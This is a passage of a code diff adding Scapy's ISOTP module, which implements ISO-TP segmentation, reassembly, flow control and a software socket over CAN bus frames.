= True + except KeyError: + log_loading.info("Specify 'conf.contribs['ISOTP'] = " + "{'use-can-isotp-kernel-module': True}' to enable " + "usage of can-isotp kernel module.") + +CAN_MAX_IDENTIFIER = (1 << 29) - 1 # Maximum 29-bit identifier +CAN_MTU = 16 +CAN_MAX_DLEN = 8 +ISOTP_MAX_DLEN_2015 = (1 << 32) - 1 # Maximum for 32-bit FF_DL +ISOTP_MAX_DLEN = (1 << 12) - 1 # Maximum for 12-bit FF_DL + +N_PCI_SF = 0x00 # /* single frame */ +N_PCI_FF = 0x10 # /* first frame */ +N_PCI_CF = 0x20 # /* consecutive frame */ +N_PCI_FC = 0x30 # /* flow control */ + + +class ISOTP(Packet): + name = 'ISOTP' + fields_desc = [ + StrField('data', B"") + ] + __slots__ = Packet.__slots__ + ["src", "dst", "exsrc", "exdst"] + + def answers(self, other): + if other.__class__ == self.__class__: + return self.payload.answers(other.payload) + return 0 + + def __init__(self, *args, **kwargs): + self.src = None + self.dst = None + self.exsrc = None + self.exdst = None + if "src" in kwargs: + self.src = kwargs["src"] + del kwargs["src"] + if "dst" in kwargs: + self.dst = kwargs["dst"] + del kwargs["dst"] + if "exsrc" in kwargs: + self.exsrc = kwargs["exsrc"] + del kwargs["exsrc"] + if "exdst" in kwargs: + self.exdst = kwargs["exdst"] + del kwargs["exdst"] + Packet.__init__(self, *args, **kwargs) + self.validate_fields() + + def validate_fields(self): + if self.src is not None: + if not 0 <= self.src <= CAN_MAX_IDENTIFIER: + raise Scapy_Exception("src is not a valid CAN identifier") + if self.dst is not None: + if not 0 <= self.dst <= CAN_MAX_IDENTIFIER: + raise Scapy_Exception("dst is not a valid CAN identifier") + if self.exsrc is not None: + if not 0 <= self.exsrc <= 0xff: + raise Scapy_Exception("exsrc is not a byte") + if self.exdst is not None: + if not 0 <= self.exdst <= 0xff: + raise Scapy_Exception("exdst is not a byte") + + def fragment(self): + data_bytes_in_frame = 7 + if self.exdst is not None: + data_bytes_in_frame = 6 + + if len(self.data) > ISOTP_MAX_DLEN_2015: + raise Scapy_Exception("Too much data in ISOTP message") + + if len(self.data) <= data_bytes_in_frame: + # We can do this in a single frame + frame_data = struct.pack('B', len(self.data)) + self.data + if self.exdst: + frame_data = struct.pack('B', self.exdst) + frame_data + + if self.dst is None or self.dst <= 0x7ff: + pkt = CAN(identifier=self.dst, data=frame_data) + else: + pkt = CAN(identifier=self.dst, flags="extended", + data=frame_data) + return [pkt] + + # Construct the first frame + if len(self.data) <= ISOTP_MAX_DLEN: + frame_header = struct.pack(">H", len(self.data) + 0x1000) + else: + frame_header = struct.pack(">HI", 0x1000, len(self.data)) + if self.exdst: + frame_header = struct.pack('B', self.exdst) + frame_header + idx = 8 - len(frame_header) + frame_data = self.data[0:idx] + if self.dst is None or self.dst <= 0x7ff: + frame = CAN(identifier=self.dst, data=frame_header + frame_data) + else: + frame = CAN(identifier=self.dst, flags="extended", + data=frame_header + frame_data) + + # Construct consecutive frames + n = 1 + pkts = [frame] + while idx < len(self.data): + frame_data = self.data[idx:idx + data_bytes_in_frame] + frame_header = struct.pack("b", (n % 16) + N_PCI_CF) + + n += 1 + idx += len(frame_data) + + if self.exdst: + frame_header = struct.pack('B', self.exdst) + frame_header + if self.dst is None or self.dst <= 0x7ff: + pkt = CAN(identifier=self.dst, data=frame_header + frame_data) + else: + pkt = CAN(identifier=self.dst, flags="extended", + data=frame_header + frame_data) + pkts.append(pkt) + return pkts + + @staticmethod + def defragment(can_frames, use_extended_addressing=None): + if len(can_frames) == 0: + raise Scapy_Exception("ISOTP.defragment called with 0 frames") + + dst = can_frames[0].identifier + for frame in can_frames: + if frame.identifier != dst: + warning("Not all CAN frames have the same identifier") + + parser = ISOTPMessageBuilder(use_extended_addressing) + for c in can_frames: + parser.feed(c) + + results = [] + while parser.count > 0: + p = parser.pop() + if (use_extended_addressing is True and p.exdst is not None) \ + or (use_extended_addressing is False and p.exdst is None) \ + or (use_extended_addressing is None): + results.append(p) + + if len(results) == 0: + return None + + if len(results) > 0: + warning("More than one ISOTP frame could be defragmented from the " + "provided CAN frames, returning the first one.") + + return results[0] + + +class ISOTPHeader(CAN): + name = 'ISOTPHeader' + fields_desc = [ + FlagsField('flags', 0, 3, ['error', + 'remote_transmission_request', + 'extended']), + XBitField('identifier', 0, 29), + ByteField('length', None), + ThreeBytesField('reserved', 0), + ] + + def extract_padding(self, p): + return p, None + + def post_build(self, pkt, pay): + """ + This will set the ByteField 'length' to the correct value. + """ + if self.length is None: + pkt = pkt[:4] + chb(len(pay)) + pkt[5:] + return pkt + pay + + def guess_payload_class(self, payload): + """ + ISOTP encodes the frame type in the first nibble of a frame. + """ + t = (orb(payload[0]) & 0xf0) >> 4 + if t == 0: + return ISOTP_SF + elif t == 1: + return ISOTP_FF + elif t == 2: + return ISOTP_CF + else: + return ISOTP_FC + + +class ISOTPHeaderEA(ISOTPHeader): + name = 'ISOTPHeaderExtendedAddress' + fields_desc = ISOTPHeader.fields_desc + [ + XByteField('extended_address', 0), + ] + + def post_build(self, p, pay): + """ + This will set the ByteField 'length' to the correct value. + 'chb(len(pay) + 1)' is required, because the field 'extended_address' + is counted as payload on the CAN layer + """ + if self.length is None: + p = p[:4] + chb(len(pay) + 1) + p[5:] + return p + pay + + +ISOTP_TYPE = {0: 'single', + 1: 'first', + 2: 'consecutive', + 3: 'flow_control'} + + +class ISOTP_SF(Packet): + name = 'ISOTPSingleFrame' + fields_desc = [ + BitEnumField('type', 0, 4, ISOTP_TYPE), + BitFieldLenField('message_size', None, 4, length_of='data'), + StrLenField('data', '', length_from=lambda pkt: pkt.message_size) + ] + + +class ISOTP_FF(Packet): + name = 'ISOTPFirstFrame' + fields_desc = [ + BitEnumField('type', 1, 4, ISOTP_TYPE), + BitField('message_size', 0, 12), + ConditionalField(BitField('extended_message_size', 0, 32), + lambda pkt: pkt.message_size == 0), + StrField('data', '', fmt="B") + ] + + +class ISOTP_CF(Packet): + name = 'ISOTPConsecutiveFrame' + fields_desc = [ + BitEnumField('type', 2, 4, ISOTP_TYPE), + BitField('index', 0, 4), + StrField('data', '', fmt="B") + ] + + +class ISOTP_FC(Packet): + name = 'ISOTPFlowControlFrame' + fields_desc = [ + BitEnumField('type', 3, 4, ISOTP_TYPE), + BitEnumField('fc_flag', 0, 4, {0: 'continue', + 1: 'wait', + 2: 'abort'}), + ByteField('block_size', 0), + ByteField('separation_time', 0), + ] + + +class ISOTPMessageBuilderIter(object): + slots = ["builder"] + + def __init__(self, builder): + self.builder = builder + + def __iter__(self): + return self + + def __next__(self): + while self.builder.count: + return self.builder.pop() + raise StopIteration + + next = __next__ + + +class ISOTPMessageBuilder(object): + """ + Utility class to build ISOTP messages out of CAN frames, used by both + ISOTP.defragment() and ISOTPSession. + + This class attempts to interpret some CAN frames as ISOTP frames, both with + and without extended addressing at the same time. For example, if an + extended address of 07 is being used, all frames will also be interpreted + as ISOTP single-frame messages. + + CAN frames are fed to an ISOTPMessageBuilder object with the feed() method + and the resulting ISOTP frames can be extracted using the pop() method. + """ + + class Bucket(object): + def __init__(self, total_len, first_piece, ts=None): + self.pieces = list() + self.total_len = total_len + self.current_len = 0 + self.ready = None + self.src = None + self.exsrc = None + self.time = ts + self.push(first_piece) + + def push(self, piece): + self.pieces.append(piece) + self.current_len += len(piece) + if self.current_len >= self.total_len: + if six.PY3: + isotp_data = b"".join(self.pieces) + else: + isotp_data = "".join(map(str, self.pieces)) + self.ready = isotp_data[:self.total_len] + + def __init__(self, use_ext_addr=None, did=None, basecls=None): + """ + Initialize a ISOTPMessageBuilder object + + :param use_ext_addr: True for only attempting to defragment with + extended addressing, False for only attempting + to defragment without extended addressing, + or None for both + :param basecls: the class of packets that will be returned, + defaults to ISOTP + + """ + self.ready = [] + self.buckets = {} + self.use_ext_addr = use_ext_addr + self.basecls = basecls or ISOTP + self.dst_ids = None + self.last_ff = None + self.last_ff_ex = None + if did is not None: + if hasattr(did, "__iter__"): + self.dst_ids = did + else: + self.dst_ids = [did] + + def feed(self, can): + """Attempt to feed an incoming CAN frame into the state machine""" + if not isinstance(can, Packet) and hasattr(can, "__iter__"): + for p in can: + self.feed(p) + return + identifier = can.identifier + + if self.dst_ids is not None and identifier not in self.dst_ids: + return + + data = bytes(can.data) + + if len(data) > 1 and self.use_ext_addr is not True: + self._try_feed(identifier, None, data, can.time) + if len(data) > 2 and self.use_ext_addr is not False: + ea = six.indexbytes(data, 0) + self._try_feed(identifier, ea, data[1:], can.time) + + @property + def count(self): + """Returns the number of ready ISOTP messages built from the provided + can frames""" + return len(self.ready) + + def __len__(self): + return self.count + + def pop(self, identifier=None, ext_addr=None): + """ + Returns a built ISOTP message + + :param identifier: if not None, only return isotp messages with this + destination + :param ext_addr: if identifier is not None, only return isotp messages + with this extended address for destination + :returns: an ISOTP packet, or None if no message is ready + """ + + if identifier is not None: + for i in range(len(self.ready)): + b = self.ready[i] + iden = b[0] + ea = b[1] + if iden == identifier and ext_addr == ea: + return ISOTPMessageBuilder._build(self.ready.pop(i), + self.basecls) + return None + + if len(self.ready) > 0: + return ISOTPMessageBuilder._build(self.ready.pop(0), self.basecls) + return None + + def __iter__(self): + return ISOTPMessageBuilderIter(self) + + @staticmethod + def _build(t, basecls=ISOTP): + bucket = t[2] + p = basecls(bucket.ready) + if hasattr(p, "dst"): + p.dst = t[0] + if hasattr(p, "exdst"): + p.exdst = t[1] + if hasattr(p, "src"): + p.src = bucket.src + if hasattr(p, "exsrc"): + p.exsrc = bucket.exsrc + if hasattr(p, "time"): + p.time = bucket.time + return p + + def _feed_first_frame(self, identifier, ea, data, ts): + if len(data) < 3: + # At least 3 bytes are necessary: 2 for length and 1 for data + return False + + header = struct.unpack('>H', bytes(data[:2]))[0] + expected_length = header & 0x0fff + isotp_data = data[2:] + if expected_length == 0 and len(data) >= 6: + expected_length = struct.unpack('>I', bytes(data[2:6]))[0] + isotp_data = data[6:] + + key = (ea, identifier, 1) + if ea is None: + self.last_ff = key + else: + self.last_ff_ex = key + self.buckets[key] = self.Bucket(expected_length, isotp_data, ts) + return True + + def _feed_single_frame(self, identifier, ea, data, ts): + if len(data) < 2: + # At least 2 bytes are necessary: 1 for length and 1 for data + return False + + length = six.indexbytes(data, 0) & 0x0f + isotp_data = data[1:length + 1] + + if length > len(isotp_data): + # CAN frame has less data than expected + return False + + self.ready.append((identifier, ea, + self.Bucket(length, isotp_data, ts))) + return True + + def _feed_consecutive_frame(self, identifier, ea, data): + if len(data) < 2: + # At least 2 bytes are necessary: 1 for sequence number and + # 1 for data + return False + + first_byte = six.indexbytes(data, 0) + seq_no = first_byte & 0x0f + isotp_data = data[1:] + + key = (ea, identifier, seq_no) + bucket = self.buckets.pop(key, None) + + if bucket is None: + # There is no message constructor waiting for this frame + return False + + bucket.push(isotp_data) + if bucket.ready is None: + # full ISOTP message is not ready yet, put it back in + # buckets list + next_seq = (seq_no + 1) % 16 + key = (ea, identifier, next_seq) + self.buckets[key] = bucket + else: + self.ready.append((identifier, ea, bucket)) + + return True + + def _feed_flow_control_frame(self, identifier, ea, data): + if len(data) < 3: + # At least 2 bytes are necessary: 1 for sequence number and + # 1 for data + return False + + keys = [self.last_ff, self.last_ff_ex] + if not any(keys): + return False + + buckets = [self.buckets.pop(k, None) for k in keys] + + self.last_ff = None + self.last_ff_ex = None + + if not any(buckets): + # There is no message constructor waiting for this frame + return False + + for key, bucket in zip(keys, buckets): + if bucket is None: + continue + bucket.src = identifier + bucket.exsrc = ea + self.buckets[key] = bucket + return True + + def _try_feed(self, identifier, ea, data, ts): + first_byte = six.indexbytes(data, 0) + if len(data) > 1 and first_byte & 0xf0 == N_PCI_SF: + self._feed_single_frame(identifier, ea, data, ts) + if len(data) > 2 and first_byte & 0xf0 == N_PCI_FF: + self._feed_first_frame(identifier, ea, data, ts) + if len(data) > 1 and first_byte & 0xf0 == N_PCI_CF: + self._feed_consecutive_frame(identifier, ea, data) + if len(data) > 1 and first_byte & 0xf0 == N_PCI_FC: + self._feed_flow_control_frame(identifier, ea, data) + + +class ISOTPSession(DefaultSession): + """Defragment ISOTP packets 'on-the-flow'. + + Usage: + >>> sniff(session=ISOTPSession) + """ + + def __init__(self, *args, **kwargs): + DefaultSession.__init__(self, *args, **kwargs) + self.m = ISOTPMessageBuilder( + use_ext_addr=kwargs.pop("use_ext_addr", None), + did=kwargs.pop("did", None), + basecls=kwargs.pop("basecls", None)) + + def on_packet_received(self, pkt): + if not pkt: + return + if isinstance(pkt, list): + for p in pkt: + ISOTPSession.on_packet_received(self, p) + return + self.m.feed(pkt) + while len(self.m) > 0: + rcvd = self.m.pop() + if self._supersession: + self._supersession.on_packet_received(rcvd) + else: + DefaultSession.on_packet_received(self, rcvd) + + +class ISOTPSoftSocket(SuperSocket): + """ + This class is a wrapper around the ISOTPSocketImplementation, for the + reasons described below. + + The ISOTPSoftSocket aims to be fully compatible with the Linux ISOTP + sockets provided by the can-isotp kernel module, while being usable on any + operating system. + Therefore, this socket needs to be able to respond to an incoming FF frame + with a FC frame even before the recv() method is called. + A thread is needed for receiving CAN frames in the background, and since + the lower layer CAN implementation is not guaranteed to have a functioning + POSIX select(), each ISOTP socket needs its own CAN receiver thread. + SuperSocket automatically calls the close() method when the GC destroys an + ISOTPSoftSocket. However, note that if any thread holds a reference to + an ISOTPSoftSocket object, it will not be collected by the GC. + + The implementation of the ISOTP protocol, along with the necessary + thread, are stored in the ISOTPSocketImplementation class, and therefore: + + * There no reference from ISOTPSocketImplementation to ISOTPSoftSocket + * ISOTPSoftSocket can be normally garbage collected + * Upon destruction, ISOTPSoftSocket.close() will be called + * ISOTPSoftSocket.close() will call ISOTPSocketImplementation.close() + * RX background thread can be stopped by the garbage collector + """ + + nonblocking_socket = True + + def __init__(self, + can_socket=None, + sid=0, + did=0, + extended_addr=None, + extended_rx_addr=None, + rx_block_size=0, + rx_separation_time_min=0, + padding=False, + listen_only=False, + basecls=ISOTP): + """ + Initialize an ISOTPSoftSocket using the provided underlying can socket + + :param can_socket: a CANSocket instance, preferably filtering only can + frames with identifier equal to did + :param sid: the CAN identifier of the sent CAN frames + :param did: the CAN identifier of the received CAN frames + :param extended_addr: the extended address of the sent ISOTP frames + (can be None) + :param extended_rx_addr: the extended address of the received ISOTP + frames (can be None) + :param rx_block_size: block size sent in Flow Control ISOTP frames + :param rx_separation_time_min: minimum desired separation time sent in + Flow Control ISOTP frames + :param padding: If True, pads sending packets with 0x00 which not + count to the payload. + Does not affect receiving packets. + :param basecls: base class of the packets emitted by this socket + """ + + if six.PY3 and LINUX and isinstance(can_socket, six.string_types): + from scapy.contrib.cansocket import CANSocket + can_socket = CANSocket(can_socket) + elif isinstance(can_socket, six.string_types): + raise Scapy_Exception("Provide a CANSocket object instead") + + self.exsrc = extended_addr + self.exdst = extended_rx_addr + self.src = sid + self.dst = did + + impl = ISOTPSocketImplementation( + can_socket, + src_id=sid, + dst_id=did, + padding=padding, + extended_addr=extended_addr, + extended_rx_addr=extended_rx_addr, + rx_block_size=rx_block_size, + rx_separation_time_min=rx_separation_time_min, + listen_only=listen_only + ) + + self.ins = impl + self.outs = impl + self.impl = impl + + if basecls is None: + warning('Provide a basecls ') + self.basecls = basecls + + def close(self): + if not self.closed: + self.impl.close() + self.outs = None + self.ins = None + SuperSocket.close(self) + + def begin_send(self, p): + """Begin the transmission of message p. This method returns after + sending the first frame. If multiple frames are necessary to send the + message, this socket will unable to send other messages until either + the transmission of this frame succeeds or it fails.""" + if hasattr(p, "sent_time"): + p.sent_time = time.time() + + return self.outs.begin_send(bytes(p)) + + def recv_raw(self, x=0xffff): + """Receive a complete ISOTP message, blocking until a message is + received or the specified timeout is reached. + If self.timeout is 0, then this function doesn't block and returns the + first frame in the receive buffer or None if there isn't any.""" + msg = self.ins.recv() + t = time.time() + return self.basecls, msg, t + + def recv(self, x=0xffff): + msg = SuperSocket.recv(self, x) + + if hasattr(msg, "src"): + msg.src = self.src + if hasattr(msg, "dst"): + msg.dst = self.dst + if hasattr(msg, "exsrc"): + msg.exsrc = self.exsrc + if hasattr(msg, "exdst"): + msg.exdst = self.exdst + return msg + + @staticmethod + def select(sockets, remain=None): + """This function is called during sendrecv() routine to wait for + sockets to be ready to receive + """ + blocking = remain is None or remain > 0 + + def find_ready_sockets(): + return list(filter(lambda x: not x.ins.rx_queue.empty(), sockets)) + + ready_sockets = find_ready_sockets() + if len(ready_sockets) > 0 or not blocking: + return ready_sockets, None + + exit_select = Event() + + def my_cb(msg): + exit_select.set() + + try: + for s in sockets: + s.ins.rx_callbacks.append(my_cb) + + exit_select.wait(remain) + + finally: + for s in sockets: + try: + s.ins.rx_callbacks.remove(my_cb) + except ValueError: + pass + except AttributeError: + pass + + ready_sockets = find_ready_sockets() + return ready_sockets, None + + +ISOTPSocket = ISOTPSoftSocket + + +class CANReceiverThread(Thread): + """ + Helper class that receives CAN frames and feeds them to the provided + callback. It relies on CAN frames being enqueued in the CANSocket object + and not being lost if they come before the sniff method is called. This is + true in general since sniff is usually implemented as repeated recv(), but + might be false in some implementation of CANSocket + """ + + def __init__(self, can_socket, callback): + """ + Initialize the thread. In order for this thread to be able to be + stopped by the destructor of another object, it is important to not + keep a reference to the object in the callback function. + + :param socket: the CANSocket upon which this class will call the + sniff() method + :param callback: function to call whenever a CAN frame is received + """ + self.socket = can_socket + self.callback = callback + self.exiting = False + self._thread_started = Event() + self.exception = None + + Thread.__init__(self) + self.name = "CANReceiver" + self.name + + def start(self): + Thread.start(self) + if not self._thread_started.wait(5): + raise Scapy_Exception("CAN RX thread not started in 5s.") + + def run(self): + self._thread_started.set() + try: + def prn(msg): + if not self.exiting: + self.callback(msg) + + while 1: + try: + sniff(store=False, timeout=1, count=1, + stop_filter=lambda x: self.exiting, + prn=prn, opened_socket=self.socket) + except ValueError as ex: + if not self.exiting: + raise ex + if self.exiting: + return + except Exception as ex: + self.exception = ex + + def stop(self): + self.exiting = True + + +class TimeoutScheduler: + """A timeout scheduler which uses a single thread for all timeouts, unlike + python's own Timer objects which use a thread each.""" + VERBOSE = False + GRACE = .1 + _mutex = Lock() + _event = Event() + _thread = None + _handles = [] # must use heapq functions! + + @staticmethod + def schedule(timeout, callback): + """Schedules the execution of a timeout. + + The function `callback` will be called in `timeout` seconds. + + Returns a handle that can be used to remove the timeout.""" + when = TimeoutScheduler._time() + timeout + handle = TimeoutScheduler.Handle(when, callback) + handles = TimeoutScheduler._handles + + with TimeoutScheduler._mutex: + # Add the handler to the heap, keeping the invariant + # Time complexity is O(log n) + heapq.heappush(handles, handle) + must_interrupt = (handles[0] == handle) + + # Start the scheduling thread if it is not started already + if TimeoutScheduler._thread is None: + t = Thread(target=TimeoutScheduler._task) + must_interrupt = False + TimeoutScheduler._thread = t + TimeoutScheduler._event.clear() + t.start() + + if must_interrupt: + # if the new timeout got in front of the one we are currently + # waiting on, the current wait operation must be aborted and + # updated with the new timeout + TimeoutScheduler._event.set() + + # Return the handle to the timeout so that the user can cancel it + return handle + + @staticmethod + def cancel(handle): + """Provided its handle, cancels the execution of a timeout.""" + + handles = TimeoutScheduler._handles + with TimeoutScheduler._mutex: + if handle in handles: + # Time complexity is O(n) + handle._cb = None + handles.remove(handle) + heapq.heapify(handles) + + if len(handles) == 0: + # set the event to stop the wait - this kills the thread + TimeoutScheduler._event.set() + else: + Exception("Handle not found") + + @staticmethod + def clear(): + """Cancels the execution of all timeouts.""" + with TimeoutScheduler._mutex: + TimeoutScheduler._handles.clear() + + # set the event to stop the wait - this kills the thread + TimeoutScheduler._event.set() + + @staticmethod + def _peek_next(): + """Returns the next timeout to execute, or `None` if list is empty, + without modifying the list""" + with TimeoutScheduler._mutex: + handles = TimeoutScheduler._handles + if len(handles) == 0: + return None + else: + return handles[0] + + @staticmethod + def _wait(handle): + """Waits until it is time to execute the provided handle, or until + another thread calls _event.set()""" + + if handle is None: + when = TimeoutScheduler.GRACE + else: + when = handle._when + + # Check how much time until the next timeout + now = TimeoutScheduler._time() + to_wait = when - now + + # Wait until the next timeout, + # or until event.set() gets called in another thread. + if to_wait > 0: + log_runtime.debug("TimeoutScheduler Thread going to sleep @ %f " + + "for %fs", now, to_wait) + interrupted = TimeoutScheduler._event.wait(to_wait) + new = TimeoutScheduler._time() + log_runtime.debug("TimeoutScheduler Thread awake @ %f, slept for" + + " %f, interrupted=%d", new, new - now, + interrupted) + + # Clear the event so that we can wait on it again, + # Must be done before doing the callbacks to avoid losing a set(). + TimeoutScheduler._event.clear() + + @staticmethod + def _task(): + """Executed in a background thread, this thread will automatically + start when the first timeout is added and stop when the last timeout + is removed or executed.""" + + log_runtime.debug("TimeoutScheduler Thread spawning @ %f", + TimeoutScheduler._time()) + + time_empty = None + + try: + while 1: + handle = TimeoutScheduler._peek_next() + if handle is None: + now = TimeoutScheduler._time() + if time_empty is None: + time_empty = now + # 100 ms of grace time before killing the thread + if TimeoutScheduler.GRACE < now - time_empty: + return + TimeoutScheduler._wait(handle) + TimeoutScheduler._poll() + + finally: + # Worst case scenario: if this thread dies, the next scheduled + # timeout will start a new one + log_runtime.debug("TimeoutScheduler Thread dying @ %f", + TimeoutScheduler._time()) + TimeoutScheduler._thread = None + + @staticmethod + def _poll(): + """Execute all the callbacks that were due until now""" + + handles = TimeoutScheduler._handles + handle = None + while 1: + with TimeoutScheduler._mutex: + now = TimeoutScheduler._time() + if len(handles) == 0 or handles[0]._when > now: + # There is nothing to execute yet + return + + # Time complexity is O(log n) + handle = heapq.heappop(handles) + + # Call the callback here, outside of the mutex + callback = handle._cb if handle is not None else None + if callback is not None: + try: + callback() + except Exception: + traceback.print_exc() + + @staticmethod + def _time(): + if six.PY2: + return time.time() + return time.monotonic() + + class Handle: + """Handle for a timeout, consisting of a callback and a time when it + should be executed.""" + __slots__ = '_when', '_cb' + + def __init__(self, when, cb): + self._when = when + self._cb = cb + + def cancel(self): + """Cancels this timeout, preventing it from executing its + callback""" + self._cb = None + return TimeoutScheduler.cancel(self) + + def __cmp__(self, other): + diff = self._when - other._when + return 0 if diff == 0 else (1 if diff > 0 else -1) + + def __lt__(self, other): + return self._when < other._when + + +"""ISOTPSoftSocket definitions.""" + +# Enum states +ISOTP_IDLE = 0 +ISOTP_WAIT_FIRST_FC = 1 +ISOTP_WAIT_FC = 2 +ISOTP_WAIT_DATA = 3 +ISOTP_SENDING = 4 + +# /* Flow Status given in FC frame */ +ISOTP_FC_CTS = 0 # /* clear to send */ +ISOTP_FC_WT = 1 # /* wait */ +ISOTP_FC_OVFLW = 2 # /* overflow */ + + +class ISOTPSocketImplementation(automaton.SelectableObject): + """ + Implementation of an ISOTP "state machine". + + Most of the ISOTP logic was taken from + https://github.com/hartkopp/can-isotp/blob/master/net/can/isotp.c + + This class is separated from ISOTPSoftSocket to make sure the background + thread can't hold a reference to ISOTPSoftSocket, allowing it to be + collected by the GC. + """ + + def __init__(self, + can_socket, + src_id, + dst_id, + padding=False, + extended_addr=None, + extended_rx_addr=None, + rx_block_size=0, + rx_separation_time_min=0, + listen_only=False): + """ + :param can_socket: a CANSocket instance, preferably filtering only can + frames with identifier equal to did + :param src_id: the CAN identifier of the sent CAN frames + :param dst_id: the CAN identifier of the received CAN frames + :param padding: If True, pads sending packets with 0x00 which not + count to the payload. + Does not affect receiving packets. + :param extended_addr: Extended Address byte to be added at the + beginning of every CAN frame _sent_ by this object. Can be None + in order to disable extended addressing on sent frames. + :param extended_rx_addr: Extended Address byte expected to be found at + the beginning of every CAN frame _received_ by this object. Can + be None in order to disable extended addressing on received + frames. + :param rx_block_size: Block Size byte to be included in every Control + Flow Frame sent by this object. The default value of 0 means + that all the data will be received in a single block. + :param rx_separation_time_min: Time Minimum Separation byte to be + included in every Control Flow Frame sent by this object. The + default value of 0 indicates that the peer will not wait any + time between sending frames. + :param listen_only: Disables send of flow control frames + """ + + automaton.SelectableObject.__init__(self) + + self.can_socket = can_socket + self.dst_id = dst_id + self.src_id = src_id + self.padding = padding + self.fc_timeout = 1 + self.cf_timeout = 1 + + self.filter_warning_emitted = False + + self.extended_rx_addr = extended_rx_addr + self.ea_hdr = b"" + if extended_addr is not None: + self.ea_hdr = struct.pack("B", extended_addr) + self.listen_only = listen_only + + self.rxfc_bs = rx_block_size + self.rxfc_stmin = rx_separation_time_min + + self.rx_queue = queue.Queue() + self.rx_len = -1 + self.rx_buf = None + self.rx_sn = 0 + self.rx_bs = 0 + self.rx_idx = 0 + self.rx_state = ISOTP_IDLE + + self.txfc_bs = 0 + self.txfc_stmin = 0 + self.tx_gap = 0 + + self.tx_buf = None + self.tx_sn = 0 + self.tx_bs = 0 + self.tx_idx = 0 + self.rx_ll_dl = 0 + self.tx_state = ISOTP_IDLE + + self.tx_timeout_handle = None + self.rx_timeout_handle = None + self.rx_thread = CANReceiverThread(can_socket, self.on_can_recv) + + self.tx_mutex = Lock() + self.rx_mutex = Lock() + self.send_mutex = Lock() + + self.tx_done = Event() + self.tx_exception = None + + self.tx_callbacks = [] + self.rx_callbacks = [] + + self.rx_thread.start() + + def __del__(self): + self.close() + + def can_send(self, load): + if self.padding: + load += bytearray(CAN_MAX_DLEN - len(load)) + if self.src_id is None or self.src_id <= 0x7ff: + self.can_socket.send(CAN(identifier=self.src_id, data=load)) + else: + self.can_socket.send(CAN(identifier=self.src_id, flags="extended", + data=load)) + + def on_can_recv(self, p): + if not isinstance(p, CAN): + raise Scapy_Exception("argument is not a CAN frame") + if p.identifier != self.dst_id: + if not self.filter_warning_emitted: + warning("You should put a filter for identifier=%x on your" + "CAN socket" % self.dst_id) + self.filter_warning_emitted = True + else: + self.on_recv(p) + + def close(self): + self.rx_thread.stop() + + def _rx_timer_handler(self): + """Method called every time the rx_timer times out, due to the peer not + sending a consecutive frame within the expected time window""" + + with self.rx_mutex: + if self.rx_state == ISOTP_WAIT_DATA: + # we did not get new data frames in time. + # reset rx state + self.rx_state = ISOTP_IDLE + warning("RX state was reset due to timeout") + + def _tx_timer_handler(self): + """Method called every time the tx_timer times out, which can happen in + two situations: either a Flow Control frame was not received in time, + or the Separation Time Min is expired and a new frame must be sent.""" + + with self.tx_mutex: + if (self.tx_state == ISOTP_WAIT_FC or + self.tx_state == ISOTP_WAIT_FIRST_FC): + # we did not get any flow control frame in time + # reset tx state + self.tx_state = ISOTP_IDLE + self.tx_exception = "TX state was reset due to timeout" + self.tx_done.set() + raise Scapy_Exception(self.tx_exception) + elif self.tx_state == ISOTP_SENDING: + # push out the next segmented pdu + src_off = len(self.ea_hdr) + max_bytes = 7 - src_off + + while 1: + load = self.ea_hdr + load += struct.pack("B", N_PCI_CF + self.tx_sn) + load += self.tx_buf[self.tx_idx:self.tx_idx + max_bytes] + self.can_send(load) + + self.tx_sn = (self.tx_sn + 1) % 16 + self.tx_bs += 1 + self.tx_idx += max_bytes + + if len(self.tx_buf) <= self.tx_idx: + # we are done + self.tx_state = ISOTP_IDLE + self.tx_done.set() + for cb in self.tx_callbacks: + cb() + return + + if self.txfc_bs != 0 and self.tx_bs >= self.txfc_bs: + # stop and wait for FC + self.tx_state = ISOTP_WAIT_FC + self.tx_timeout_handle = TimeoutScheduler.schedule( + self.fc_timeout, self._tx_timer_handler) + return + + if self.tx_gap == 0: + continue + else: + self.tx_timeout_handle = TimeoutScheduler.schedule( + self.tx_gap, self._tx_timer_handler) + + def on_recv(self, cf): + """Function that must be called every time a CAN frame is received, to + advance the state machine.""" + + data = bytes(cf.data) + + if len(data) < 2: + return + + ae = 0 + if self.extended_rx_addr is not None: + ae = 1 + if len(data) < 3: + return + if six.indexbytes(data, 0) != self.extended_rx_addr: + return + + n_pci = six.indexbytes(data, ae) & 0xf0 + + if n_pci == N_PCI_FC: + with self.tx_mutex: + self._recv_fc(data[ae:]) + elif n_pci == N_PCI_SF: + with self.rx_mutex: + self._recv_sf(data[ae:]) + elif n_pci == N_PCI_FF: + with self.rx_mutex: + self._recv_ff(data[ae:]) + elif n_pci == N_PCI_CF: + with self.rx_mutex: + self._recv_cf(data[ae:]) + + def _recv_fc(self, data): + """Process a received 'Flow Control' frame""" + if (self.tx_state != ISOTP_WAIT_FC and + self.tx_state != ISOTP_WAIT_FIRST_FC): + return 0 + + if self.tx_timeout_handle is not None: + self.tx_timeout_handle.cancel() + self.tx_timeout_handle = None + + if len(data) < 3: + self.tx_state = ISOTP_IDLE + self.tx_exception = "CF frame discarded because it was too short" + self.tx_done.set() + raise Scapy_Exception(self.tx_exception) + + # get communication parameters only from the first FC frame + if self.tx_state == ISOTP_WAIT_FIRST_FC: + self.txfc_bs = six.indexbytes(data, 1) + self.txfc_stmin = six.indexbytes(data, 2) + + if ((self.txfc_stmin > 0x7F) and + ((self.txfc_stmin < 0xF1) or (self.txfc_stmin > 0xF9))): + self.txfc_stmin = 0x7F + + if six.indexbytes(data, 2) <= 127: + tx_gap = six.indexbytes(data, 2) / 1000.0 + elif 0xf1 <= six.indexbytes(data, 2) <= 0xf9: + tx_gap = (six.indexbytes(data, 2) & 0x0f) / 10000.0 + else: + tx_gap = 0 + self.tx_gap = tx_gap + + self.tx_state = ISOTP_WAIT_FC + + isotp_fc = six.indexbytes(data, 0) & 0x0f + + if isotp_fc == ISOTP_FC_CTS: + self.tx_bs = 0 + self.tx_state = ISOTP_SENDING + # start cyclic timer for sending CF frame + self.tx_timeout_handle = TimeoutScheduler.schedule( + self.tx_gap, self._tx_timer_handler) + elif isotp_fc == ISOTP_FC_WT: + # start timer to wait for next FC frame + self.tx_state = ISOTP_WAIT_FC + self.tx_timeout_handle = TimeoutScheduler.schedule( + self.fc_timeout, self._tx_timer_handler) + elif isotp_fc == ISOTP_FC_OVFLW: + # overflow in receiver side + self.tx_state = ISOTP_IDLE + self.tx_exception = "Overflow happened at the receiver side" + self.tx_done.set() 